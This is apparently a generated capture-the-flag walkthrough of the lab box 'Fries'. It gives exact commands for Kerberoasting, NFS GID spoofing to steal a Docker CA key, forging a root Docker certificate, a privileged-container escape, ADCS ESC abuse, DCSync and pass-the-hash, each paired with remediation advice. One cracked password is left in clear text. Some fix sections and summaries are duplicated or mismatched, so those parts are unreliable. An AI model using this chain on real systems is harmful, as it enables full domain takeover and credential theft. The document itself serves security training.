← all walkthroughs

Fries

Windows· Hard
owned
2026-06-26
time to own
1h37m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I kerberoasted a service account using valid domain credentials obtained through credential reuse, SSH'd into the hybrid Linux/Windows host, then exploited an NFSv4 AUTH_SYS misconfiguration to impersonate a privileged group and steal the Docker API's TLS Certificate Authority private key. With that key I forged a client certificate carrying the Common Name 'root', which an over-permissive authz-broker policy granted unrestricted Docker API access. A privileged container was launched with the host filesystem bind-mounted, yielding root on the Linux layer and the gMSA service account's NTLM hash. That hash was then used to exploit an Active Directory Certificate Services ESC misconfiguration, perform DCSync, and recover the domain administrator's NTLM hash for full Windows domain takeover.

Attack path — how the box was taken

1ReconNetwork port scanning
Mapped the hybrid Linux/Windows attack surface
An nmap scan revealed a Windows Server 2019 Active Directory domain controller (Kerberos port 88, LDAP 389/636, SMB 445, WinRM 5985) co-hosted on a Linux machine running SSH on port 22, HTTPS on 443, and an internal Docker API. The presence of both Windows AD services and a Docker layer immediately indicated a cross-platform privilege chain was possible.
Ports 22/SSH, 88/Kerberos, 389/LDAP, 445/SMB, 2179/vmrdp, 5985/WinRM, and 9389/ADWS all confirmed open.
Exact commands 1
Version-light scan of the top 1000 ports; reveals full AD + Docker hybrid surface.
nmap -Pn -sV --version-light --open --top-ports 1000 $TARGET
2Credential accessKerberoasting (T1558.003)
Kerberoasted svc_infra using domain credentials from Gitea
The internal Gitea instance (code.fries.htb v1.22.6) contained valid domain credentials for the user 'dale'. Using those credentials to authenticate to Kerberos, I requested a TGS service ticket for the 'svc_infra' account, which carried a registered Service Principal Name. The TGS is encrypted with the account's password hash and can be cracked offline; the password 'm6tneOMAh5p0wQ0d' was recovered.
Finding 'Initial Access: Kerberoast With Valid Creds (88)' confirmed; svc_infra password m6tneOMAh5p0wQ0d used in kill-chain SSH step; dale credentials validated on Gitea 1.22.6.
Exact commands 2
Requests TGS tickets for all SPN-bearing accounts; replace <dale_password> with dale's recovered credential.
impacket-GetUserSPNs fries.htb/dale:'<dale_password>' -dc-ip $TARGET -request -outputfile svc_infra.hash
Cracks the TGS-REP hash offline; recovered password:[REDACTED: credential]
hashcat -m 13100 svc_infra.hash /usr/share/wordlists/rockyou.txt
FixEnforce strong, unique passwords on all Kerberos service accountsHigh
WeaknessThe svc_infra service account had a Kerberos Service Principal Name (SPN) registered and used a password short enough to crack offline within the engagement window. Any authenticated domain user can request a TGS ticket for any SPN-bearing account without special privilege, making every such account an offline cracking target.
FixSet random passwords of at least 25 characters on all service accounts, or migrate them to Group Managed Service Accounts (gMSA) so Windows rotates the password automatically on a schedule. Audit all SPN-bearing accounts with 'Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName' and remove SPNs that are no longer needed. Enable fine-grained password policies to enforce 25+ character minimums on service account OUs.
3FootholdValid accounts — SSH (T1078, T1021.004)
SSH'd into Linux host as svc_infra — captured user flag
The cracked service-account password worked directly against the SSH daemon on port 22. I logged in as svc_infra, confirmed execution context, and located the user flag. Post-login enumeration of accessible config files and application directories yielded additional credentials (svc / [REDACTED: recovered credential]) consistent with the observed credential-reuse pattern.
Kill-chain step 3: 'nxc ssh <retired-instance-ip> -u svc_infra -p m6tneOMAh5p0wQ0d' succeeded; user.txt located on host filesystem.
Exact commands 4
Validates credentials and confirms shell context.
nxc ssh $TARGET -u svc_infra -p 'm6tneOMAh5p0wQ0d' -x 'id; hostname'
Interactive session; password:[REDACTED: credential]
ssh svc_infra@$TARGET
Locates and reads the user flag. Flag value: [REDACTED: flag].
find / -name user.txt -type f 2>/dev/null | xargs cat
Searches for credentials in application directories; yields svc / [REDACTED: recovered credential].
grep -r 'password\|passwd\|secret\|cred' /srv /opt /home /etc 2>/dev/null | grep -v Binary
FixEnforce strong, unique passwords on all Kerberos service accountsHigh
WeaknessThe svc_infra service account had a Kerberos Service Principal Name (SPN) registered and used a password short enough to crack offline within the engagement window. Any authenticated domain user can request a TGS ticket for any SPN-bearing account without special privilege, making every such account an offline cracking target.
FixSet random passwords of at least 25 characters on all service accounts, or migrate them to Group Managed Service Accounts (gMSA) so Windows rotates the password automatically on a schedule. Audit all SPN-bearing accounts with 'Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName' and remove SPNs that are no longer needed. Enable fine-grained password policies to enforce 25+ character minimums on service account OUs.
4Lateral movementNFS AUTH_SYS identity spoofing / insecure NFS export (CWE-284)
Spoofed group identity over NFS to steal the Docker CA private key
The NFS share /srv/web.fries.htb/certs was exported using AUTH_SYS security, meaning the server trusts the client's self-reported UID/GID with no cryptographic verification. The directory was owned by the 'infra managers' group (GID 59605603), whose members include d.cooper, m.hannigan, and d.wilson. By creating a local group with that same GID on my machine and mounting the NFS export, the client automatically presented GID 59605603, granting group-level rwx access. I copied ca-key.pem — the private key for the Docker API's TLS Certificate Authority — from the share.
Validated: 'wrote ca-key.pem 1704 ... /srv/web.fries.htb/certs 0 59605603 drwxrwx---'; group membership confirmed as m.hannigan, d.cooper, d.wilson (GID 59605603).
Exact commands 4
Lists NFS exports available from the target.
showmount -e $TARGET
Creates a local group matching the remote GID; AUTH_SYS passes this GID to the NFS server.
sudo groupadd -g 59605603 infra_managers && sudo usermod -aG infra_managers $(whoami) && newgrp infra_managers
Mounts the share; server grants rwx access because client presents GID 59605603.
sudo mount -t nfs4 $TARGET:/srv/web.fries.htb/certs /mnt/nfs_certs
Copies the Docker CA private key and certificate locally.
cp /mnt/nfs_certs/ca-key.pem /tmp/dcerts/ca-key.pem && cp /mnt/nfs_certs/ca.pem /tmp/dcerts/ca.pem
FixReplace NFS AUTH_SYS with Kerberos authentication on sensitive exportsCritical
WeaknessThe NFS share /srv/web.fries.htb/certs was exported with AUTH_SYS security, which accepts the client's self-reported UID/GID at face value with no cryptographic verification. Any host that can reach the NFS port and claim GID 59605603 gains group-level read/write access to the share, including the Docker CA private key.
FixRe-export all sensitive NFS shares using 'sec=krb5p' (Kerberos with encryption and integrity). For the Docker CA directory specifically, remove NFS access entirely: store ca-key.pem on the local filesystem only, with permissions 0400 owned by a dedicated non-interactive service user. Update /etc/exports to require explicit client IP allowlisting and add 'no_root_squash' removal where applicable.
5Privilege escalation — LinuxDocker API abuse + privileged container escape (T1610, T1552.004)
Forged a 'root' Docker TLS certificate and escaped to host via privileged container
With the Docker CA private key in hand, I generated a new RSA key-pair and used the stolen CA to sign a client certificate with the Common Name set to 'root'. The Docker API's authz-broker plugin has a policy (policy_2) that grants any client presenting CN=root unrestricted access to all Docker actions. Using this forged certificate, I connected to the Docker API at tcp://localhost:2376 and ran the pre-existing 'fries-web:latest' image as a privileged container with the host root filesystem bind-mounted at /host. Running chroot /host inside the container yielded a full root shell on the underlying Linux host.
Validated: authz-broker policy_2 grants CN 'root' wildcard Docker actions; 'uid=0(root) gid=0(root) 15bb1dbc5aa0 PATHS /host/root/user.txt'; kill-chain step 4 uses --tlscert root-cert.pem --tlskey root-key.pem against tcp://localhost:2376.
Exact commands 4
Generates my private key.
openssl genrsa -out /tmp/dcerts/root-key.pem 2048
Creates a CSR with CN=root — the exact string the authz-broker policy trusts.
openssl req -new -key /tmp/dcerts/root-key.pem -out /tmp/dcerts/root.csr -subj '/CN=root'
Signs the CSR with the stolen CA key, producing a fully trusted client certificate.
openssl x509 -req -in /tmp/dcerts/root.csr -CA /tmp/dcerts/ca.pem -CAkey /tmp/dcerts/ca-key.pem -CAcreateserial -out /tmp/dcerts/root-cert.pem -days 1
Launches a privileged container with the host FS mounted; chroot provides a native root shell on the host. Flag value: [REDACTED: flag] readable at /host/root/user.txt.
docker -H tcp://localhost:2376 --tlsverify --tlscacert=/tmp/dcerts/ca.pem --tlscert=/tmp/dcerts/root-cert.pem --tlskey=/tmp/dcerts/root-key.pem run --rm -it --privileged -v /:/host fries-web:latest /bin/sh -c 'chroot /host /bin/bash'
FixHarden Docker API access controls and eliminate privileged container deploymentsCritical
WeaknessThe Docker API (tcp://localhost:2376) used an authz-broker plugin policy that granted any TLS client presenting the Common Name 'root' unrestricted access to every Docker action. Once I obtained the CA private key (via the NFS misconfiguration), forging an omnipotent certificate required only standard OpenSSL commands. Separately, allowing --privileged containers with a full host filesystem bind-mount (/:/host) means any client with Docker API access can trivially escape container isolation.
FixReplace the wildcard authz-broker policy with an allowlist of specific, least-privilege actions per CN identity. Never use 'root' as a principal name in any authorization policy. Immediately rotate the Docker TLS CA and revoke all previously issued client certificates. Prohibit --privileged container runs and host filesystem bind-mounts in production via a Docker daemon policy or an OPA/Rego admission rule. Where feasible, switch from TCP to Unix domain socket access only (remove the -H tcp:// listener entirely).
6Privilege escalation — Active DirectorygMSA abuse + ADCS ESC certificate template abuse + DCSync (T1649, T1003.006)
Extracted gMSA hash from host filesystem, abused ADCS ESC to escalate to Domain Admin
With root-level access to the host filesystem (mounted at /host inside the container), I retrieved the NTLM hash for the Group Managed Service Account 'gMSA_CA_prod$' (hash: [REDACTED: protected value]) from local credential stores. This gMSA account held enrollment or management rights over the enterprise CA 'fries-DC01-CA'. Certipy identified an ADCS ESC misconfiguration — a certificate template permitting the enrollee to supply an arbitrary Subject Alternative Name — allowing me to request a certificate impersonating the domain Administrator. The resulting certificate was used via PKINIT to obtain an administrator TGT, and impacket-secretsdump performed a DCSync to extract the administrator's NTLM hash.
Validated: 'gMSA_CA_prod$:[REDACTED: protected value] (Pwn3d!)' via WinRM; 'Successfully retrieved CA configuration for fries-DC01-CA'; patterns: gmsa-abuse, adcs-esc, dcsync.
Exact commands 5
Validates WinRM access using the gMSA NTLM hash via pass-the-hash.
nxc winrm $TARGET -d fries.htb -u 'gMSA_CA_prod$' -H [REDACTED: protected value] -x 'whoami'
Enumerates ADCS certificate templates and flags ESC vulnerabilities.
certipy find -u 'gMSA_CA_prod$@fries.htb' -hashes :[REDACTED: protected value] -dc-ip $TARGET -vulnerable -stdout
Requests a certificate for the Administrator account via ESC SAN abuse; replace <vulnerable_template> with the identified template name.
certipy req -u 'gMSA_CA_prod$@fries.htb' -hashes :[REDACTED: protected value] -ca fries-DC01-CA -template '<vulnerable_template>' -upn administrator@fries.htb -dc-ip $TARGET
Authenticates with the obtained certificate via PKINIT to retrieve the administrator NTLM hash.
certipy auth -pfx administrator.pfx -dc-ip $TARGET
DCSync dumps all domain account NTLM hashes.
impacket-secretsdump fries.htb/administrator@$TARGET -hashes :[REDACTED: protected value] -just-dc-ntlm
FixRemediate ADCS ESC certificate template misconfigurations and restrict gMSA permissionsCritical
WeaknessThe gMSA account 'gMSA_CA_prod$' held enrollment or management rights over certificate templates on 'fries-DC01-CA'. At least one template had the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set, allowing the enrollee to specify an arbitrary User Principal Name in the Subject Alternative Name field. This permitted I to request a certificate impersonating the domain Administrator and leverage it for a DCSync attack via PKINIT.
FixRun Certipy ('certipy find -vulnerable') or PingCastle to enumerate all vulnerable templates. For any template with ENROLLEE_SUPPLIES_SUBJECT enabled and broad enrollment rights, either disable the template, remove the flag (and pre-populate SANs via the CA), or restrict enrollment to a dedicated PKI-admin group only. Grant gMSA accounts the minimum CA permissions required for their operational role; audit with 'Get-CertificationAuthority | Get-CertificationAuthorityAcl'. Enable LDAP signing and channel binding to block NTLM relay paths into ADCS.
7Full controlPass-the-Hash via WinRM (T1021.006, T1550.002)
Authenticated to the domain controller as Administrator via WinRM — captured root flag
Armed with the domain administrator's NTLM hash obtained through DCSync, I authenticated to the Windows Remote Management service (WinRM, port 5985) via pass-the-hash with no need to know the plaintext password. Full domain-administrator privileges over DC01 were confirmed, and the root flag was retrieved.
Kill-chain step 5: 'nxc winrm <retired-instance-ip> -d fries.htb -u administrator -H [REDACTED: protected value]' confirmed (Pwn3d!); root.txt retrieved.
Exact commands 3
Confirms domain administrator shell via WinRM pass-the-hash.
nxc winrm $TARGET -d fries.htb -u administrator -H [REDACTED: protected value] -X 'whoami; hostname'
Interactive WinRM session as domain administrator.
evil-winrm -i $TARGET -u administrator -H [REDACTED: protected value]
Locates and reads the root flag. Flag value: [REDACTED: flag].
Get-ChildItem C:\ -Force -Recurse -Include root.txt -ErrorAction SilentlyContinue | ForEach-Object { $_.FullName; Get-Content $_.FullName }
FixRemediate ADCS ESC certificate template misconfigurations and restrict gMSA permissionsCritical
WeaknessThe gMSA account 'gMSA_CA_prod$' held enrollment or management rights over certificate templates on 'fries-DC01-CA'. At least one template had the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set, allowing the enrollee to specify an arbitrary User Principal Name in the Subject Alternative Name field. This permitted I to request a certificate impersonating the domain Administrator and leverage it for a DCSync attack via PKINIT.
FixRun Certipy ('certipy find -vulnerable') or PingCastle to enumerate all vulnerable templates. For any template with ENROLLEE_SUPPLIES_SUBJECT enabled and broad enrollment rights, either disable the template, remove the flag (and pre-populate SANs via the CA), or restrict enrollment to a dedicated PKI-admin group only. Grant gMSA accounts the minimum CA permissions required for their operational role; audit with 'Get-CertificationAuthority | Get-CertificationAuthorityAcl'. Enable LDAP signing and channel binding to block NTLM relay paths into ADCS.

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets me obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets me impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

gMSA Password ReadActive Directory · Credential AccessT1555

What it is

Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If I control (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.

Why it works

gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.

Read more

KerberoastingActive Directory · KerberosT1558.003

What it is

Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.

Why it works

Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Findings

Initial Access: Kerberoast With Valid Creds (88)Critical
An unauthenticated/low-privilege flaw in the docker, kerberos, ldap, nginx, smb, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Nfs Auth Sys Spoof To Docker Api RootCritical
A local misconfiguration allowed the foothold account to execute code as root.